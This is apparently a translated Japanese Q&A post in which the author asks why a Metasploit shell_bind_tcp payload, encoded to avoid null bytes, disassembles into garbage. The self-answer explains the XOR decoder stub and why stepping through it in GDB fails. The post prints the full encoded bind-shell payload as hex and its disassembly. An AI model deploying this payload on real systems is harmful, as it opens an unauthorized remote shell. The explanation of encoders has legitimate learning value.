したがって、メタスプロイトを使用して、ヌルバイトなしのpayload/linux/x86/Shell_bind_tcp
ペイロード(generate -t raw -b '\x00' -f shellcode
)を生成しました。これがシェルコードです:
$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a
そして、これがobjdumpがシェルコードと考えているものです:
$ objdump -D -b binary -m i386 shellcode
shellcode: file format binary
Disassembly of section .data:
00000000 <.data>:
0: db dd fcmovnu st,st(5)
2: d9 74 24 f4 fnstenv [esp-0xc]
6: 5e pop esi
7: 33 c9 xor ecx,ecx
9: bf 0e 0f 58 44 mov edi,0x44580f0e
e: b1 14 mov cl,0x14
10: 31 7e 19 xor DWORD PTR [esi+0x19],edi
13: 83 c6 04 add esi,0x4
16: 03 7e 15 add edi,DWORD PTR [esi+0x15]
19: ec in al,dx
1a: fa cli
1b: 69 9f 07 e7 d9 5c b4 imul ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
22: 82 df eb
25: db e3 fninit
27: 86 26 xchg BYTE PTR [esi],ah
29: 9b fwait
2a: 5f pop edi
2b: 19 eb sbb ebx,ebp
2d: f3 5d repz pop ebp
2f: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
30: 1a 5f 08 sbb bl,BYTE PTR [edi+0x8]
33: b5 4d mov ch,0x4d
35: 0f 45 54 07 c9 cmovne edx,DWORD PTR [edi+eax*1-0x37]
3a: 0d 5a 58 9c ef or eax,0xef9c585a
3f: 60 pusha
40: ea 9a 5f 0e c1 22 dc jmp 0xdc22:0xc10e5f9a
47: 7f bf jg 0x8
49: ef out dx,eax
4a: 63 ec arpl sp,bp
4c: 19 85 5c 4b 57 d9 sbb DWORD PTR [ebp-0x26a8b4a4],eax
52: ea 12 9f b1 c3 cb 2c jmp 0x2ccb:0xc3b19f12
59: 29 74 3b b1 sub DWORD PTR [ebx+edi*1-0x4f],esi
5d: c0 ea ca shr dl,0xca
60: d6 (bad)
61: 42 inc edx
62: a0 45 f9 d2 4d mov al,ds:0x4dd2f945
67: 9b fwait
68: 7a .byte 0x7a
このリンクは、同様の逆アセンブリも提供します。 http://www.onlinedisassembler.com/odaweb/x1SSxJ/
私は間違っているかもしれませんが、このシェルコードは奇妙に見えます。まず、それは機能しませんが、それが間違っていることを示すには十分ではありません。 2番目の問題は、objdumpが(bad)
を下部近くに示していることです。これは、おそらくアセンブリが間違っていることを意味します。最後に、私は議会を読んだ後、それが何をしているのか見当がつきません。これと同じペイロードのシェルコードをnullバイトで生成すると、正しい読み取り可能なアセンブリが得られます。 nullバイトを削除しても、シェルコードがこれほど複雑になるとは思いません。
私は何か間違ったことをしましたか?そうでない場合は、誰かがシェルコードの仕組みを説明できますか?
さて、IRCチャンネルで質問することでいくつかの回答を得ました。
-b
を使用すると、指定されたバイトを回避するためにシェルコードがエンコードされます。デコーダーは最初に取り付けられており、そのコードは実際には読み取り可能で意味があります。この特定のデコーダーは、シェルコードのバイトのXOR処理で何らかの処理を行っているようです。これは、分解するとシェルコードがガベージのように見える理由を説明します(実際には命令ではありません)。また、GDBは次の命令を0xCC
またはブレークポイントに置き換えるため、GDBを使用してシェルコードをステップ実行しても機能しないことがよくあります。これは、デコーダーがXOR誤ったバイトを生成し、プログラムがクラッシュすることを意味します。
シェルコードは実際には正しく、私はそれが私のエクスプロイトで機能するようにしています。